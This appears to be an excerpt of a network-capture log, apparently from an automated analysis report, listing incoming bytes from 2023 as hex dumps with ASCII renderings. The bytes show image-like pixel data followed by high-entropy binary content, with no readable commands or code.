2023-06-01 10:14:23 UTC	70	IN	Data Raw: ff 33 2a 23 ff 34 22 15 ff 37 24 16 ff 3a 26 16 ff 39 25 15 ff 3a 25 15 ff 66 38 16 ff 71 3c 16 ff 6c 3a 14 ff 6a 3a 15 ff 74 44 20 ff 7e 51 2f ff 85 58 37 ff 7a 50 2e ff 4e 24 0a ff 2f 0f 01 df 0b 07 04 2b 00 00 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 02 03 11 32 19 06 9f 89 53 29 ff ac 72 46 ff ad 74 46 ff ad 73 44 ff aa 6d 3f ff a8 6b 3a ff a8 6a 3a ff a7 68 39 ff a8 69 39 ff a8 69 39 ff a8 69 39 ff a7 66 34 ff b5 8d 6f ff cb d2 d7 ff cd d0 d4 ff bc c9 bf ff ac 8c a6 ff 9e 6f Data Ascii: 3*#4"7$:&9%:%f8q<l:j:tD ~Q/X7zP.N$/+2S)rFtFsDm?k:j:h9i9i9i9f4oo
2023-06-01 10:14:23 UTC	78	IN	Data Raw: ff aa ad b1 ff d7 dc e0 ff d6 da dc ff b6 c2 cc ff 08 1c 7c ff 00 02 75 ff 43 87 6b ff 43 8a 6f ff 46 8f 6a ff 34 69 6e ff 00 00 72 ff 1a 36 84 ff c4 ce d3 ff d5 d8 db ff d4 d8 dc ff ca cd d2 ff 3a 3a 3c ff 27 27 27 ff 2c 2c 2c ff 2b 2b 2b ff 2d 2d 2d ff 29 29 29 ff 2d 2d 2d ff 28 27 27 ff 2e 2e 2f ff c0 c5 c9 ff d5 d9 dd ff d6 d9 dc ff b7 c5 ce ff 0b 21 7f ff 00 00 6f ff 3b 5d 9c ff 56 88 a8 ff 45 77 96 ff 2b 46 93 ff 00 00 6d ff 1b 34 8b ff ca d2 d7 ff d4 d8 db ff d6 db df ff b4 b8 bb ff 24 24 24 ff 21 21 21 ff 23 23 23 ff 20 20 20 ff 21 21 21 ff 21 21 21 ff 21 21 21 ff 1e 1e 1e ff 40 40 40 e1 5c 5c 5c b1 58 58 58 b3 58 58 58 b3 5c 5c 5c b3 5f 5f 5f b3 69 69 69 b2 8d 8d 8d df b1 b0 b1 ff b4 b4 b4 ff 96 96 96 ff 52 52 52 db 05 05 05 13 00 00 00 00 00 00 Data Ascii: \|uCkCoFj4inr6::<''',,,+++---)))---(''../!o;]VEw+Fm4$$$!!!### !!!!!!!!!@@@\\\XXXXXX\\\___iiiRRR
2023-06-01 10:14:23 UTC	86	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	94	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	101	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	109	IN	Data Raw: ff 8e 90 75 ff 8f 94 7d ff 80 8c 71 ff 65 7c 53 ff 63 7d 52 ff 47 75 33 ff 32 71 20 ff 33 6e 1b ff 37 6e 19 ff 3a 6f 1a ff 36 6e 16 ff 35 6e 14 ff 3c 6f 17 ff 3a 6f 12 ff 3b 70 0e ff 3e 71 0c ff 44 74 0d ff 4a 74 0d ff 52 76 0f ff 56 76 10 ff 5c 74 10 ff 64 76 10 ff 6e 76 0f ff 78 75 0f ff 83 76 0f ff 8e 75 0e ff 9a 74 0d ff a8 73 0d ff b5 74 0d ff c0 73 0b ff c9 72 0b ff cc 72 0b ff ca 70 0a ff c6 70 0a ff c1 6d 0a ff bc 6b 0a ff b7 67 0a ff b1 64 09 ff ac 61 09 ff a6 5e 09 ff a0 5a 09 ff 9a 57 09 ff 94 53 08 ff 8d 50 08 ff 88 4d 07 ff 8a 52 0f ff 95 5f 1f ff 99 65 28 ff 84 52 17 ff 62 30 00 ff 26 16 06 71 01 02 04 11 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 03 0e 20 14 06 5c 93 58 Data Ascii: u}qe\|Sc}RGu32q 3n7n:o6n5n<o:o;p>qDtJtRvVv\tdvnvxuvutstsrrppmkgda^ZWSPMR_e(Rb0&q \X
2023-06-01 10:14:23 UTC	117	IN	Data Raw: ff b8 87 b0 ff ac 86 a4 ff a8 6b 9b ff 93 91 94 ff 85 7e 85 ff 79 79 7a ff 8c 86 8e ff 71 67 71 ff 95 94 98 ff cb d0 d3 ff c8 cc d0 ff c8 cc d0 ff c9 cf d4 ff 9b 96 86 ff 96 70 38 ff 9b 77 42 ff ad 8e 63 ff 9f 83 5b ff 7e 65 44 ff 61 71 49 ff 42 63 43 ff 2b 29 2b ff 6c 55 36 ff 90 7b 5c ff 8e 86 7a ff 79 74 73 ff 7f 76 76 ff 8e 82 79 ff 9b 89 72 ff 73 6a 66 ff 54 49 3c ff 69 52 30 ff 8a 90 8e ff cb cf d4 ff c8 cc d0 ff cc cf d3 ff cd d0 d3 ff cc d0 d3 ff dc dd de ff b7 b5 b2 ff 82 7c 79 ff 66 63 67 ff 97 8b 7b ff b0 8d 5c ff c2 aa 85 ff d7 d8 da ff cb cf d3 ff cd d0 d4 ff cc d1 d6 ff ba b4 af ff 7c 48 1b ff 7a 41 0f ff 7b 42 11 ff 7c 42 11 ff 7c 43 12 ff 7a 43 12 ff 76 41 12 ff 73 40 11 ff 78 48 1b ff 86 56 2c ff 86 59 2f ff 61 35 11 ff 32 13 02 c1 06 05 Data Ascii: k~yyzqgqp8wBc[~eDaqIBcC+)+lU6{\zytsvvyrsjfTI<iR0\|yfcg{\\|HzA{B\|B\|CzCvAs@xHV,Y/a52
2023-06-01 10:14:23 UTC	125	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 24 24 48 8a 8a 8a cd c7 c7 c7 ff d1 d1 d1 ff d3 d3 d3 ff d6 d7 d6 ff db db da ff e0 e0 e0 ff e5 e5 e5 ff e9 e9 e9 ff ef ef ee ff ee ee ee ff 8a 8a 8a ff 32 32 32 ff 2c 2c 2c ff 2a 2a 2a ff 29 29 29 ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 22 22 22 ff 53 55 56 ff cc d0 d5 ff ce d2 d4 ff 68 76 a7 ff 21 3a 96 ff 86 b7 e3 ff 4d 7f a5 ff 7e ac d5 ff 1b 32 84 ff 61 73 9d ff cf d2 d4 ff ce d2 d8 ff 88 8a 8e ff 23 23 22 ff 2b 2b 2b ff 29 29 29 ff 2a 2a 2a ff 29 29 29 ff 23 23 23 ff 8d 90 92 ff ce d2 d7 ff c7 cd d1 ff 3a 4c 8f ff 55 59 9a ff b5 be c5 ff 51 83 a5 ff 68 90 c7 ff 0b 1c 7c ff 93 9f b8 ff ce d1 d4 ff c5 c9 ce ff 4a 4b 4c ff 1c 1c 1c ff 21 21 21 ff 21 21 Data Ascii: $$$H222,,,*)))&&&&&&'''((('''"""SUVhv!:M~2as##"+++)))*)))###:LUYQh\|JKL!!!!!
2023-06-01 10:14:23 UTC	133	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	140	IN	Data Raw: ff e6 94 2f ff cd 8c 28 ff bb 94 3d ff bc 94 3b ff bc 95 3b ff bc 97 3b ff bd 98 3b ff bc 93 2e ff bc 92 27 ff bb 8f 21 ff ba 94 25 ff bd 8e 21 ff c1 8e 2f ff bb 8e 18 ff b9 8e 15 ff b9 8e 15 ff b8 8f 15 ff b8 8e 13 ff b8 8f 14 ff b7 8e 13 ff b4 8d 12 ff b4 8d 11 ff b4 8d 11 ff b4 8c 11 ff b3 8b 10 ff b1 8a 0e ff b0 89 0f ff ae 88 0d ff ad 87 0c ff ad 86 0b ff af 85 0d ff b5 86 13 ff c4 89 21 ff d4 8e 2d ff d9 92 33 ff d7 91 33 ff c8 88 25 ff b2 7e 10 ff ac 7c 0a ff ae 7d 0b ff ac 7a 0a ff ab 79 09 ff b2 77 0a ff c4 74 09 ff c3 70 08 ff ba 6b 08 ff b1 66 08 ff a7 60 08 ff 9e 5b 07 ff 95 56 07 ff 8f 54 09 ff 98 60 19 ff a0 6a 26 ff 80 4c 0f ff 42 22 03 ba 03 04 05 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 03 05 1f 5e 37 08 b5 ba 75 Data Ascii: /(=;;;;.'!%!/!-33%~\|}zywtpkf`[VT`j&LB"^7u
2023-06-01 10:14:23 UTC	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 02 40 7b 4c 26 f4 ae 75 47 ff ab 6e 42 ff a7 69 3c ff a6 68 3a ff a6 67 39 ff a7 68 39 ff bc af a6 ff c5 cc cc ff ab 8e a6 ff 8d 76 88 ff 81 6a 7d ff 46 3d 45 ff 16 17 16 ff 1b 1c 1b ff 1c 1b 1b ff 1e 1e 1e ff 20 20 1f ff 21 21 20 ff 23 23 23 ff 24 24 24 ff 26 25 25 ff 27 27 27 ff 28 28 28 ff 2a 2a 2a ff 29 29 29 ff 2b 2b 2b ff 29 29 29 ff 29 29 29 ff 2a 29 29 ff 29 28 28 ff 29 29 29 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 25 25 25 ff 24 24 23 ff 23 23 23 ff 24 24 24 ff 21 21 21 ff 21 21 21 ff 1f 1f 1f ff 1f 1f 1f ff 1d 1d 1d ff 1c 1c 1c ff 1b 1b 1a ff 1a 1a 1b ff 19 1b 1d ff 16 1a 1c ff 4d 2f 19 ff 6e 3b 15 ff 6c 3c 1a ff 7e 50 Data Ascii: @{L&uGnBi<h:g9h9vj}F=E !! ###$$$&%%'''(((**)))+++)))))))))(()))'''((('''%%%$$####$$$!!!!!!M/n;l<~P
2023-06-01 10:14:23 UTC	156	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	164	IN	Data Raw: ff c1 81 30 ff bf 7d 28 ff c3 a8 86 ff cd d0 d6 ff b6 ab b6 ff ac 95 a9 ff b5 9a b2 ff a5 92 a2 ff 89 7d 88 ff 94 84 98 ff c9 af 87 ff db a8 5d ff b3 a4 88 ff 69 6d 6c ff 21 28 2c ff 24 29 2c ff 26 2b 2e ff 26 2c 2e ff 27 2c 2f ff 27 2b 2f ff 26 2c 2e ff 25 2a 2d ff 24 29 2c ff 21 27 2a ff 27 2d 30 ff 6b 77 80 ff ca ce d3 ff c8 cc d1 ff c8 cb d0 ff d4 d6 d8 ff c4 c3 c4 ff af ae ad ff 9a 9d a0 ff ab b0 b7 ff d0 d3 d6 ff c8 cc d0 ff ca d0 d7 ff a5 7b 50 ff 93 4c 05 ff 90 4e 0a ff 89 4b 0a ff 82 47 0a ff 7b 43 09 ff 77 42 0c ff 84 52 20 ff 81 52 22 ff 49 22 04 e0 0b 07 04 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 07 03 2f 83 51 1a e6 bf 84 3c ff be 81 38 ff ba 7d 30 ff bb 7d 2f ff bd 7d Data Ascii: 0}(}]iml!(,$),&+.&,.',/'+/&,.%-$),!''-0kw{PLNKG{CwBR R"I"(/Q<8}0}/}
2023-06-01 10:14:23 UTC	172	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:23 UTC	179	IN	Data Raw: ff 1d 1d 1d ff 1a 1a 1a ff 19 19 19 ff 17 1b 1d ff 24 20 1d ff 65 37 16 ff 72 42 20 ff 7c 50 2f ff 32 17 08 b6 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 60 39 1f c8 b0 73 48 ff a3 68 3d ff 7d 50 30 ff 78 55 3e ff 80 7e 7f ff 68 66 69 ff 4f 4d 4f ff 3f 3e 3f ff 1f 1f 1f ff 23 23 23 ff 24 24 24 ff 27 27 27 ff 2a 2a 2a ff 2b 2b 2b ff 2c 2c 2c ff 2e 2e 2e ff 2d 2d 2d ff 2e 2e 2e ff 2f 2f 2f ff 2e 2e 2e ff 2f 2f 2f ff 2f 2f 2f ff 2d 2d 2d ff 2c 2c 2c ff 2b 2b 2b ff 29 29 29 ff 28 28 28 ff 27 27 27 ff 24 24 24 ff 21 21 21 ff 1e 1f 21 ff 3d 2a 1d ff 6d 39 15 ff 74 46 24 ff 75 49 2c ff 23 0e 04 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: $ e7rB \|P/2`9sHh=}P0xU>~hfiOMO?>?###$$$'''**+++,,,...---...///...//////---,,,+++)))((('''$$$!!!!=m9tF$uI,#
2023-06-01 10:14:23 UTC	187	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 01 80 00 Data Ascii:
2023-06-01 10:14:23 UTC	195	IN	Data Raw: b6 73 52 ef f8 55 c6 bb d0 ba ec 86 ae fb 6d ab 3f ae 0a fb 94 81 46 f1 41 2d 87 1f f8 c1 79 58 f6 df 62 86 c9 e4 53 01 96 76 cc d3 c5 b7 5c 47 8c 31 de 82 45 49 06 8f 9a b5 e8 89 6f e7 e8 a4 39 61 43 f3 25 8b 93 fb 8c 14 70 be a3 aa b3 8e 20 f4 6e 30 fd c4 f3 d7 53 61 71 d2 3e 67 ec 74 48 e1 16 2d 9c be 53 9b 34 88 b5 08 d4 b4 9c d1 70 5a ff a2 17 58 81 29 f5 78 f0 36 82 88 d4 95 0c 69 a6 2b 6b b7 82 20 62 68 00 4e 6e 20 87 6f 40 48 eb 1b 9d 72 94 39 df 4d 2f ff 79 f3 c2 ed ca 97 aa 77 99 90 9d f8 78 1d 91 85 a9 7a 77 8c 76 a5 0f f8 fe 26 08 05 e8 5c a3 ec 80 98 fd ad c6 87 72 5a 4e f7 b7 b1 10 0a 6c f2 dd 9b bc 40 de c0 eb 3b 0d 25 86 bb 2b fd c6 9c 5a 54 ee 9d 98 17 4b 4f 25 5d 50 41 b6 d2 04 f4 e6 10 46 6a d3 27 d3 20 9b 87 4f bc 97 d5 80 2f 98 40 15 Data Ascii: sRUm?FA-yXbSv\G1EIo9aC%p n0Saq>gtH-S4pZX)x6i+k bhNn o@Hr9M/ywxzwv&\rZNl@;%+ZTKO%]PAFj' O/@
2023-06-01 10:14:23 UTC	203	IN	Data Raw: a2 99 f1 2c 57 c9 be 8d b3 78 2c 95 27 c0 0c 70 1d b1 d1 df 43 7c ba 30 9d e4 ea 7f 27 4f 29 b4 cc 3c 6a 77 0e dd 44 08 e0 28 d1 d0 08 1b c5 16 90 e4 0b 6b dd 5d 3b 86 be ad 3e 67 e1 32 a8 51 02 ac 0f 69 17 17 7c 92 7d 38 5d 54 62 1b fa 0a f4 c7 0d 5d 18 97 7b 74 82 cb bb d6 35 b7 6f 4c 75 cf 42 28 46 20 e6 05 4a 3c b4 6b 23 92 2c 19 5b da af 21 6f 89 ec 78 e4 ad d3 63 4f 78 cd 71 5e ab 57 93 3b 2b d6 29 78 84 00 e8 9a 75 9d 53 2f ae 01 c5 16 22 0c ac 96 16 83 43 18 8d 6b 4a ed dd 54 56 8d 4f 9e be 85 a0 68 c4 ae cc c5 05 31 03 7c 5d e8 0e 5d e3 32 e3 79 e3 e7 17 77 39 d0 d8 56 60 4f df 2a 7b e2 af 2a ae 60 52 d5 54 0d 52 9a 6d 80 71 3b 5e 99 7f 21 13 d7 bf 43 6d c5 40 d1 cb 81 78 98 b7 fb 3b 29 c3 67 ec a8 5d 5d 56 26 fd a9 51 9b e8 69 a6 46 8d 92 2f 19 Data Ascii: ,Wx,'pC\|0'O)<jwD(k];>g2Qi\|}8]Tb]{t5oLuB(F J<k#,[!oxcOxq^W;+)xuS/"CkJTVOh1\|]]2yw9V`O{`RTRmq;^!Cm@x;)g]]V&QiF/
2023-06-01 10:14:23 UTC	211	IN	Data Raw: ef e2 f5 32 27 b2 4b 10 3d b1 4a 92 b2 8c 61 10 43 58 2e 7a b1 e8 a3 98 15 52 66 02 a2 ea b5 da e2 9b b3 17 f9 b7 50 2d 7e 18 42 fa 21 04 aa 8a 04 be 06 6c b5 19 83 0b c6 73 02 c4 b0 81 08 7e d1 0f 44 d9 74 82 d0 af 6d 21 19 2d 78 db 47 f1 59 2c f9 e1 d3 80 ef 41 a7 58 50 8e 92 8e 00 ad 04 2d 5e cc de 9d 14 38 15 f8 e2 e2 44 e4 07 27 71 aa 20 0a df b9 52 b0 b9 60 df 91 be b3 d3 a4 a4 10 93 ef ac 1c 22 cc bc 09 cc 76 5b ff 61 3b f8 d4 00 70 4a d4 03 65 30 84 e7 08 07 ba dd b8 e1 94 54 e0 4f d0 1f 26 8d 47 fb aa 27 a1 40 bc 4c f9 ac 64 a7 98 34 25 e5 11 b2 37 69 7d 50 95 25 2c 95 8f 42 cd 6a 68 d4 10 18 67 70 fd c3 ae 61 0b f4 a5 3d 72 22 19 bc 67 6b fc d5 b4 86 10 22 54 ee ac ba 8c 21 18 f7 9c 78 e5 75 2f f0 3f 41 a5 45 13 5e cf 9a ec 14 5f db 57 83 80 6a Data Ascii: 2'K=JaCX.zRfP-~B!ls~Dtm!-xGY,AXP-^8D'q R`"v[a;pJe0TO&G'@Ld4%7i}P%,Bjhgpa=r"gk"T!xu/?AE^_Wj
2023-06-01 10:14:23 UTC	219	IN	Data Raw: 5a 4c 86 19 0f 33 46 dc 4d e4 ce ef 88 b7 0f 5b 34 81 f3 7e 4b ed 9b 57 ef 10 71 7d c0 fb 4f c3 4b cb 19 77 84 ed be 5f 41 00 8e 1a 23 ad ef 49 d2 4d a2 97 1c aa a3 e3 d6 4a f8 aa c9 bd aa 31 ea 62 34 1f 8e ad 1b d6 fa 58 00 73 f5 51 f9 fd 0e 60 99 0f aa bb 9b fc f4 a1 38 57 b2 84 3b e9 a6 7b 1f 3c 50 f5 33 31 3e 1c 0b da 10 52 c9 5d 05 4b ca ae 03 7d 0b 93 4f 02 00 3e 34 b1 66 4b c0 7d 52 27 a0 6a 82 c9 80 27 bf 65 9b c8 3c 3a 91 87 eb 83 5b fa 4f 0f 1f 3a d7 31 57 c3 8d 75 bd 27 91 99 ee b1 f7 8b e3 3f a9 e4 53 f0 a9 29 fb 74 35 91 96 01 12 03 f7 b4 7e 62 f8 2b 7a b2 ed 56 de aa ca 5a 65 cc 78 9b ec f9 8b 21 da cb 5f 67 3a aa ed 68 92 9a 33 19 a8 82 49 2a bd 36 97 c6 b0 a7 03 9a f8 7f b1 2e 14 4d 32 4d f5 5e b3 a3 94 f6 7b b8 3e 16 46 88 5d 93 de 95 b2 Data Ascii: ZL3FM[4~KWq}OKw_A#IMJ1b4XsQ`8W;{<P31>R]K}O>4fK}R'j'e<:[O:1Wu'?S)t5~b+zVZex!_g:h3I*6.M2M^{>F]
2023-06-01 10:14:23 UTC	226	IN	Data Raw: 3b 6c 56 25 fa 57 a0 9e f4 f0 2c 59 c5 74 2b 17 93 07 c4 fa d1 70 99 1a 59 2c 0d b3 29 81 37 d5 f5 79 51 38 8e 55 c7 20 79 ac cb e5 67 40 93 f1 7a 99 5d 5c dc b4 88 51 56 82 f6 f3 d6 ab 17 44 49 cb e4 ee 0b 1e fa 92 c1 33 38 77 75 a9 37 96 c8 a5 65 dd 21 76 d4 5f a9 22 9a e1 c9 4f 08 5e 75 e7 86 e8 4e 2c fd a3 a0 73 7d 8b 94 f4 8d 9b ad 15 07 c2 39 c3 77 0f b5 1a e2 b9 10 f3 68 76 be d5 de c5 a7 55 3b 11 37 24 37 cb 23 2a 20 5b 7b ef 2d 61 1c 9b 63 c9 27 b2 c0 94 c1 62 8d 22 93 47 25 0c 54 1b 6c fd 05 41 6d 14 6d 96 6d 95 6b 1b 92 9c d3 d1 a6 90 8a b5 c1 3f 05 88 89 93 e5 9b aa 49 1d d5 66 36 0a 80 e7 3a 32 b5 ee 59 5a ce 63 89 bf e6 26 26 f6 c6 2a 70 44 dd c1 ba 5d 72 08 b5 54 23 ba d9 b2 bf d6 fb a7 a8 ac 0b 31 59 d2 65 c6 d9 6d 69 31 16 82 e1 c3 26 ec Data Ascii: ;lV%W,Yt+pY,)7yQ8U yg@z]\QVDI38wu7e!v_"O^uN,s}9whvU;7$7#* [{-ac'b"G%TlAmmmk?If6:2YZc&&*pD]rT#1Yemi1&
2023-06-01 10:14:23 UTC	234	IN	Data Raw: e0 fb 87 c0 49 dc 32 fc 9d 3a 56 f5 c3 30 0a ad fc da 23 b7 34 53 90 4f 23 57 66 69 e8 14 af d3 44 f1 7d 99 7e 61 85 5f 82 03 3e b7 de c0 43 70 52 76 e9 a6 93 f8 69 48 c8 b9 ea 6e 16 a7 cd ca 82 af 13 28 fa 7b c0 f2 5e 7a 9e 0d 9d e3 17 e5 32 cf 1e 82 45 5e 4d 3d 1a 56 95 4a c0 52 e2 10 51 c4 5a 5a 35 d4 71 84 62 d9 13 b6 b2 dd ef c2 4c df 98 e1 8c c7 22 f7 e1 05 83 71 fa 8e ef 71 49 5f 48 e4 65 3c 12 ab a4 0d 33 83 e9 7b 76 0d be 14 3b ba 3e 33 1a ed 27 07 83 ea 2e ee 16 e9 bb d8 e9 ed 9a bc 65 0c ee 96 06 a7 46 16 b1 a4 ff cf 71 28 f0 3e 7b 9f 62 fd 8c 51 c6 70 51 0c 59 61 4a b3 2a b0 df 85 11 87 6e db 9f db 4c 28 fc fc d2 4d 3d 47 a9 d9 b3 f7 0c 1a 0c 1c 9c 94 67 00 69 9f 21 be c9 b6 b2 7c 6e 13 18 95 4c 26 e8 3f 8e 63 d2 c9 fa 0e de 45 9c e8 24 1b 3c Data Ascii: I2:V0#4SO#WfiD}~a_>CpRviHn({^z2E^M=VJRQZZ5qbL"qqI_He<3{v;>3'.eFq(>{bQpQYaJ*nL(M=Ggi!\|nL&?cE$<
